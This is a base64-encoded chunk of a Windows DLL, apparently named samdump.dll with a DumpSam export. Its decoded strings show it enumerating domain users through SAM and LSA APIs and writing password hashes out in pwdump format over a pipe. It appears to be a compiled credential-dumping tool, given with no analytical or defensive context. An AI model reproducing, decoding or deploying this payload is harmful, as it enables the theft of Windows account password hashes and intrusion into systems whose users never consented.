AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAANmgAABpoAAAOaAAAAAAAAKxnAABqZwAAkGcAANxnAADyZwAAoGcAAHpnAAC6ZwAA
yGcAAMppAABUaAAAYGgAAHJoAACAaAAAjmgAAKJoAAC2aAAAzGgAANpoAADmaAAA8GgAAABpAAAO
aQAAIGkAADBpAAA+aQAAUGkAAGhpAAB+aQAAmGkAALJpAABYZwAA5GkAAPJpAAAAagAADmoAABpq
AAAsagAARGoAAFxqAAB0agAAjGoAAKhqAAC0agAAwGoAAMpqAADWagAA5moAAPRqAAAEawAAGmsA
ACprAAA6awAATGsAAAAAAAAAAAAA/////84SABDUEgAQBgAABgABAAAQAAMGAAYCEARFRUUFBQUF
BTUwAFAAAAAAICg4UFgHCAA3MDBXUAcAACAgCAAAAAAIYGhgYGBgAABwcHh4eHgIBwgAAAcACAgI
AAAIAAgABwgAAAAoAG4AdQBsAGwAKQAAAAAAKG51bGwpAABydW50aW1lIGVycm9yIAAADQoAAFRM
T1NTIGVycm9yDQoAAABTSU5HIGVycm9yDQoAAAAARE9NQUlOIGVycm9yDQoAAFI2MDI4DQotIHVu
YWJsZSB0byBpbml0aWFsaXplIGhlYXANCgAAAABSNjAyNw0KLSBub3QgZW5vdWdoIHNwYWNlIGZv
ciBsb3dpbyBpbml0aWFsaXphdGlvbg0KAAAAAFI2MDI2DQotIG5vdCBlbm91Z2ggc3BhY2UgZm9y
IHN0ZGlvIGluaXRpYWxpemF0aW9uDQoAAAAAUjYwMjUNCi0gcHVyZSB2aXJ0dWFsIGZ1bmN0aW9u
IGNhbGwNCgAAAFI2MDI0DQotIG5vdCBlbm91Z2ggc3BhY2UgZm9yIF9vbmV4aXQvYXRleGl0IHRh
YmxlDQoAAAAAUjYwMTkNCi0gdW5hYmxlIHRvIG9wZW4gY29uc29sZSBkZXZpY2UNCgAAAABSNjAx
OA0KLSB1bmV4cGVjdGVkIGhlYXAgZXJyb3INCgAAAABSNjAxNw0KLSB1bmV4cGVjdGVkIG11bHRp
dGhyZWFkIGxvY2sgZXJyb3INCgAAAABSNjAxNg0KLSBub3QgZW5vdWdoIHNwYWNlIGZvciB0aHJl
YWQgZGF0YQ0KAA0KYWJub3JtYWwgcHJvZ3JhbSB0ZXJtaW5hdGlvbg0KAAAAAFI2MDA5DQotIG5v
dCBlbm91Z2ggc3BhY2UgZm9yIGVudmlyb25tZW50DQoAUjYwMDgNCi0gbm90IGVub3VnaCBzcGFj
ZSBmb3IgYXJndW1lbnRzDQoAAABSNjAwMg0KLSBmbG9hdGluZyBwb2ludCBub3QgbG9hZGVkDQoA
AAAATWljcm9zb2Z0IFZpc3VhbCBDKysgUnVudGltZSBMaWJyYXJ5AAAAAAoKAABSdW50aW1lIEVy
cm9yIQoKUHJvZ3JhbTogAAAALi4uADxwcm9ncmFtIG5hbWUgdW5rbm93bj4AAEdldExhc3RBY3Rp
dmVQb3B1cAAAR2V0QWN0aXZlV2luZG93AE1lc3NhZ2VCb3hBAHVzZXIzMi5kbGwAAAAAAAAAAAAA
AAAAAP////8DUAAQB1AAEP////+3UAAQu1AAEP////87UgAQP1IAEEg6bW06c3MAZGRkZCwgTU1N
TSBkZCwgeXl5eQBNL2QveXkAAFBNAABBTQAARGVjZW1iZXIAAAAATm92ZW1iZXIAAAAAT2N0b2Jl
cgBTZXB0ZW1iZXIAAABBdWd1c3QAAEp1bHkAAAAASnVuZQAAAABBcHJpbAAAAE1hcmNoAAAARmVi
cnVhcnkAAAAASmFudWFyeQBEZWMATm92AE9jdABTZXAAQXVnAEp1bABKdW4ATWF5AEFwcgBNYXIA
RmViAEphbgBTYXR1cmRheQAAAABGcmlkYXkAAFRodXJzZGF5AAAAAFdlZG5lc2RheQAAAFR1ZXNk
YXkATW9uZGF5AABTdW5kYXkAAFNhdABGcmkAVGh1AFdlZABUdWUATW9uAFN1bgBTdW5Nb25UdWVX
ZWRUaHVGcmlTYXQAAABKYW5GZWJNYXJBcHJNYXlKdW5KdWxBdWdTZXBPY3ROb3ZEZWMAAAAAfGYA
AAAAAAAAAAAAAGgAABBgAABsZgAAAAAAAAAAAABGaAAAAGAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
NmgAABpoAAAOaAAAAAAAAKxnAABqZwAAkGcAANxnAADyZwAAoGcAAHpnAAC6ZwAAyGcAAMppAABU
aAAAYGgAAHJoAACAaAAAjmgAAKJoAAC2aAAAzGgAANpoAADmaAAA8GgAAABpAAAOaQAAIGkAADBp
AAA+aQAAUGkAAGhpAAB+aQAAmGkAALJpAABYZwAA5GkAAPJpAAAAagAADmoAABpqAAAsagAARGoA
AFxqAAB0agAAjGoAAKhqAAC0agAAwGoAAMpqAADWagAA5moAAPRqAAAEawAAGmsAACprAAA6awAA
TGsAAAAAAABTAUdldFByb2NBZGRyZXNzAADfAUxvYWRMaWJyYXJ5QQAAGAJPdXRwdXREZWJ1Z1N0
cmluZ0EAAC0BR2V0TGFzdEVycm9yAAAOA1dyaXRlRmlsZQDDAEZyZWVMaWJyYXJ5AB4AQ2xvc2VI
YW5kbGUAuQBGbHVzaEZpbGVCdWZmZXJzAAABA1dpZGVDaGFyVG9NdWx0aUJ5dGUANwBDcmVhdGVG
aWxlQQBLRVJORUwzMi5kbGwAAB8BTHNhQ2xvc2UAAEEBTHNhUXVlcnlJbmZvcm1hdGlvblBvbGlj
eQA7AUxzYU9wZW5Qb2xpY3kAQURWQVBJMzIuZGxsAABXAlJ0bFVud2luZADaAEdldENvbW1hbmRM
aW5lQQCOAUdldFZlcnNpb24AAIwARXhpdFByb2Nlc3MAywJUZXJtaW5hdGVQcm9jZXNzAAAJAUdl
dEN1cnJlbnRQcm9jZXNzAAwBR2V0Q3VycmVudFRocmVhZElkAADTAlRsc1NldFZhbHVlANACVGxz
QWxsb2MAANECVGxzRnJlZQCcAlNldExhc3RFcnJvcgAA0gJUbHNHZXRWYWx1ZQCYAlNldEhhbmRs
ZUNvdW50AABoAUdldFN0ZEhhbmRsZQAAKAFHZXRGaWxlVHlwZQBmAUdldFN0YXJ0dXBJbmZvQQBa
AERlbGV0ZUNyaXRpY2FsU2VjdGlvbgA4AUdldE1vZHVsZUZpbGVOYW1lQQAAwQBGcmVlRW52aXJv
bm1lbnRTdHJpbmdzQQDCAEZyZWVFbnZpcm9ubWVudFN0cmluZ3NXABkBR2V0RW52aXJvbm1lbnRT
dHJpbmdzABsBR2V0RW52aXJvbm1lbnRTdHJpbmdzVwAAuAFIZWFwRGVzdHJveQC2AUhlYXBDcmVh
dGUAAPECVmlydHVhbEZyZWUAugFIZWFwRnJlZQAAlQJTZXRGaWxlUG9pbnRlcgAAbwBFbnRlckNy
aXRpY2FsU2VjdGlvbgAA3gFMZWF2ZUNyaXRpY2FsU2VjdGlvbgAAyAFJbnRlcmxvY2tlZERlY3Jl
bWVudAAAywFJbnRlcmxvY2tlZEluY3JlbWVudAAAxQFJbml0aWFsaXplQ3JpdGljYWxTZWN0aW9u
ALQBSGVhcEFsbG9jAM8AR2V0Q1BJbmZvAMkAR2V0QUNQAABGAUdldE9FTUNQAADuAlZpcnR1YWxB
bGxvYwAAvQFIZWFwUmVBbGxvYwCoAlNldFN0ZEhhbmRsZQAAAgJNdWx0aUJ5dGVUb1dpZGVDaGFy
ANwBTENNYXBTdHJpbmdBAADdAUxDTWFwU3RyaW5nVwAAaQFHZXRTdHJpbmdUeXBlQQAAbAFHZXRT
dHJpbmdUeXBlVwAAAAAAAAAAE/jgOAAAAACSawAAAQAAAAEAAAABAAAAiGsAAIxrAACQawAA8BIA
AJ5rAAAAAHNhbWR1bXAuZGxsAER1bXBTYW0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAOYyABC4PQAQAAAAAAAAAACOMwAQAAAAAAAAAAAAAAAAAAAAAFNhbXJDbG9z
ZUhhbmRsZQBTYW1JRnJlZV9TQU1QUl9FTlVNRVJBVElPTl9CVUZGRVIAAABTYW1JRnJlZV9TQU1Q
Ul9VU0VSX0lORk9fQlVGRkVSAFNhbXJFbnVtZXJhdGVVc2Vyc0luRG9tYWluAABTYW1yUXVlcnlJ
bmZvcm1hdGlvblVzZXIAAAAAU2Ftck9wZW5Vc2VyAAAAAFNhbXJPcGVuRG9tYWluAABTYW1JQ29u
bmVjdABzYW1zcnYuZGxsAABXcml0ZUZpbGUgZmFpbGVkOiAlZApUZXh0OiAlcwAAACVzOiVkOiUw
MnglMDJ4JTAyeCUwMnglMDJ4JTAyeCUwMnglMDJ4JTAyeCUwMnglMDJ4JTAyeCUwMnglMDJ4JTAy
eCUwMng6JTAyeCUwMnglMDJ4JTAyeCUwMnglMDJ4JTAyeCUwMnglMDJ4JTAyeCUwMnglMDJ4JTAy
eCUwMnglMDJ4JTAyeDo6OgoAU2FtclF1ZXJ5SW5mb3JtYXRpb25Vc2VyIGZhaWxlZCA6IDB4JTA4
WAoAAABTYW1yT3BlblVzZXIoMHgleCkgZmFpbGVkIDogMHglMDhYCgBTYW1yRW51bWVyYXRlVXNl
cnNJbkRvbWFpbiBmYWlsZWQgOiAweCUwOFgKAFNhbU9wZW5Eb21haW4gZmFpbGVkIDogMHglMDhY
CgAAU2FtQ29ubmVjdCBmYWlsZWQgOiAweCUwOFgAAExzYVF1ZXJ5SW5mb3JtYXRpb25Qb2xpY3kg
ZmFpbGVkIDogMHglMDhYAAAATHNhT3BlblBvbGljeSBmYWlsZWQgOiAweCUwOFgAAABGYWlsZWQg
dG8gbG9hZCBmdW5jdGlvbnMKAAAARmFpbGVkIHRvIG9wZW4gb3V0cHV0IHBpcGUoJXMpOiAlZAoA
IAWTGQAAAAAAAAAAAAAAAKkkABBoYQAQWGEAEP////8AAAAA/////wAKAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAEAAAAAIAAADUYwAQCAAAAKhjABAJAAAAfGMAEAoAAABYYwAQEAAAACxj
ABARAAAA/GIAEBIAAADYYgAQEwAAAKxiABAYAAAAdGIAEBkAAABMYgAQGgAAABRiABAbAAAA3GEA
EBwAAAC0YQAQeAAAAKRhABB5AAAAlGEAEHoAAACEYQAQ/AAAAIBhABD/AAAAcGEAEGCFABAAAAAA
YIUAEAEBAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAEAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAACAAAAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAABtTgAQbU4AEG1OABBtTgAQbU4AEG1OABBidgAQYnYAEAAAIAAgACAAIAAgACAAIAAgACAA
KAAoACgAKAAoACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAEgAEAAQABAAEAAQ
ABAAEAAQABAAEAAQABAAEAAQABAAhACEAIQAhACEAIQAhACEAIQAhAAQABAAEAAQABAAEAAQAIEA
gQCBAIEAgQCBAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQAQABAAEAAQ
ABAAEACCAIIAggCCAIIAggACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIA
EAAQABAAEAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQ
gQAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAECBABAAAAAAAAAAAAAAAABYgQAQAAAAAAAA
AAAAAAAAKIEAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAUAAMALAAAAAAAAAB0AAMAEAAAAAAAAAJYAAMAEAAAAAAAAAI0AAMAI
AAAAAAAAAI4AAMAIAAAAAAAAAI8AAMAIAAAAAAAAAJAAAMAIAAAAAAAAAJEAAMAIAAAAAAAAAJIA
AMAIAAAAAAAAAJMAAMAIAAAAAAAAAAMAAAAHAAAAeAAAAAoAAAAAAAAAAAAAAAECBAgAAAAApAMA
AGCCeYIhAAAAAAAAAKbfAAAAAAAAoaUAAAAAAACBn+D8AAAAAEB+gPwAAAAAqAMAAMGj2qMgAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAACB/gAAAAAAAED+AAAAAAAAtQMAAMGj2qMgAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAACB/gAAAAAAAEH+AAAAAAAAtgMAAM+i5KIaAOWi6KJbAAAAAAAAAAAAAAAAAAAA
AACB/gAAAAAAAEB+of4AAAAAUQUAAFHaXtogAF/aatoyAAAAAAAAAAAAAAAAAAAAAACB09je4PkA
ADF+gf4AAAAAAAAAAAAAAAD4AwAAAAAAAAAAAAAAAAAAAQAAABYAAAACAAAAAgAAAAMAAAACAAAA
BAAAABgAAAAFAAAADQAAAAYAAAAJAAAABwAAAAwAAAAIAAAADAAAAAkAAAAMAAAACgAAAAcAAAAL
AAAACAAAAAwAAAAWAAAADQAAABYAAAAPAAAAAgAAABAAAAANAAAAEQAAABIAAAASAAAAAgAAACEA
AAANAAAANQAAAAIAAABBAAAADQAAAEMAAAACAAAAUAAAABEAAABSAAAADQAAAFMAAAANAAAAVwAA
ABYAAABZAAAACwAAAGwAAAANAAAAbQAAACAAAABwAAAAHAAAAHIAAAAJAAAABgAAABYAAACAAAAA
CgAAAIEAAAAKAAAAggAAAAkAAACDAAAAFgAAAIQAAAANAAAAkQAAACkAAACeAAAADQAAAKEAAAAC
AAAApAAAAAsAAACnAAAADQAAALcAAAARAAAAzgAAAAIAAADXAAAACwAAABgHAAAMAAAAQwAAAEMA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAEMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAuAAAAAQAAAFh9ABAAAAAA7GUA
EOhlABDkZQAQ4GUAENxlABDYZQAQ1GUAEMxlABDEZQAQvGUAELBlABCkZQAQnGUAEJBlABCMZQAQ
iGUAEIRlABCAZQAQfGUAEHhlABB0ZQAQcGUAEGxlABBoZQAQZGUAEGBlABBYZQAQTGUAEERlABA8
ZQAQfGUAEDRlABAsZQAQJGUAEBhlABAQZQAQBGUAEPhkABD0ZAAQ8GQAEOhkABDUZAAQzGQAEAAA
AAAuAAAAAAAAAAh+ABAoggAQKIIAECiCABAoggAQKIIAECiCABAoggAQKIIAECiCABB/f39/f39/
fxB+ABAAAAAAAAAAAAAAAACAcAAAAQAAAPDx//9QU1QAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAUERUAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFx+ABCcfgAQAAAAAP//
//8AAAAAAAAAAAAAAAD/////AAAAAAAAAAAAAAAAAAAAAAAAAAD/////HgAAADsAAABaAAAAeAAA
AJcAAAC1AAAA1AAAAPMAAAARAQAAMAEAAE4BAABtAQAA/////x4AAAA6AAAAWQAAAHcAAACWAAAA
tAAAANMAAADyAAAAEAEAAC8BAABNAQAAbAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAA8AAA
AAIwCDAOMBMwGTAgMCUwKjAzMDgwPjBGMEswUTBYMF0wYjBrMHAwdjB+MIMwiTCQMJUwmjCjMKgw
szC9MMcw0TDbMOUwLjE5MT8xXDGmMasxoTIyMz8zRjNjM3YzuDPVM/0zFTQfNEc0aTRzNJs0xDTc
NAQ1PzVYNXw1kzWdNcU10DVCNnc2hjaxNtQ25Tb2Ng83FjcbNyY3QjdIN043sDfxN1o4dDh9OMA5
xznWOd456TnvOfU5/zkXOhw6JjpAOk46VjpcOp86sToNOyg7NztTO6w7tDsOPBs8vjzNPOM8Ez7N
Ptc/AAAAIAAAEAEAAB4wPzBWMMswkzOXM5sznzOjM6czqzOvM300iDSNNJc0nDTUNOA05zT3NP00
BDUONSc1LzU0NUA1RTViNWg1ojWqNcQ1yjXbNfQ1ADYGNhM2IzYpNjE2TzZVNmY2fTaHNqA2Ajca
NyA3SjdQN3I3hje4N7831DcGOBA4MThGOGo4lDiiONM42TjmOAc5LDk7OUo5fDmMOc852znlOfk5
BzoUOhk6Hzp6OoE6yToOO/E7Cjw/PEc8YTxtPH08vDwMPR89XT2BPYg9mT2fPa89tj29PcU97D34
PQI+Cj4SPhg+Jj41Pkc+bT56Pog+kz6mPs0+3D4ePzI/UD9cP3g/jT+jP6o/uD/LPwAwAABEAQAA
QjBPMHQwkDCjMBcxtzEEMhwyMTJ7MsMy2jLnMgEzDzMdMygzPDNCM1AzWTNqM4YzlTOnM7AzzDPv
M/kzAjQeNEE00TTZNN805zQyNVc1aTVvNXg2fjaGNo42ljaiNqc2sza7NsM2yzbhNuk28Tb5NgE3
FDccN0k3ZDd0N3o3qTfRN9c34zdJOE84VziaONQ42jj9ORk6JjozOkY6TzpbOo06nzquOs861Tr2
OgA7CzsQOxg7LztEO0o7UjtaO2U7kzufO6k7tDu+O8g7zjsRPBs8IDwlPCo8QzxJPLg8vjzcPO08
AD0VPTM9QT1OPV49fz2LPZ09qz26Pcs9GD4wPjc+Pz5EPkg+TD51Pps+tT68PsA+xD7IPsw+0D7U
Ptg+Ij8oPyw/MD80P5o/pT/AP8c/zD/QP9Q/8T8AAABAAAAAAQAAGzBNMFQwWDBcMGAwZDBoMGww
cDC6MMAwxDDIMMwwHjEkMSsxNDE7MUMxSTFUMVwxqzO5M78z2TPeM+0z8zMDNA40IDQzND40RDRJ
NE80XDR5NH80ijSQNJo0oDSwNLY0+jSgNY03mDegN7M3uTfPN9Y33DfmN+w38Tf3Nwc4EDgqODs4
QThUOLY4YzlsOXI5fjmDOY05lDmcOaI5qTmuOb852zn9Ogo7Lzt6O4k7qTvLO/g7DDxGPE08czyL
PKU8sDzGPM489zwEPQk9Fj0iPdw94z38PT4+UD7ZPvk+/j4dPyo/Nz9BP0s/Uz9hP38/nD+0P9Q/
AAAAUAAAwAAAACwwQjB1MN0wAjFIMU0xaTF8MYMxlTGdMa0xvjHRMekxCTJfMnEyyDLgMucy7zL0
Mvgy/DIlM0szZTNsM3AzdDN4M3wzgDOEM4gz0jPYM9wz4DPkM0o0VTRwNHc0fDSANIQ0oTTLNP00
BDUINQw1EDUUNRg1HDUgNWo1cDV0NXg1fDVJNlk2izaVNmY4eTj4OAI5Hjl+OcY5zDnaOSk6WTq0
Oro6yDomO1U7ZDu8O/Q7BjwZPFU8nj0AYAAAGAAAAPQw+DCsNLA0uDS8NMQ0yDQAcAAAyAAAAAww
EDAcMPQy+DL8MjQzPDNEM0wzVDNcM2QzbDN0M3wzhDOMM5QznDOkM6wztDO8M8AzyDNANkQ2SDZM
NlA2VDZYNlw2dDiUOKQ4tDhQPVg9XD1gPWQ9aD1sPXA9dD14PXw9gD2EPYg9jD2QPZQ9mD2cPaA9
pD2oPaw9sD20Pbg9vD3APcQ9yD3MPdA91D3YPdw94D3kPeg97D3wPfQ9+D38PQA+ED4UPhg+HD4g
PiQ+KD4sPjA+ND5APtw+4D4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
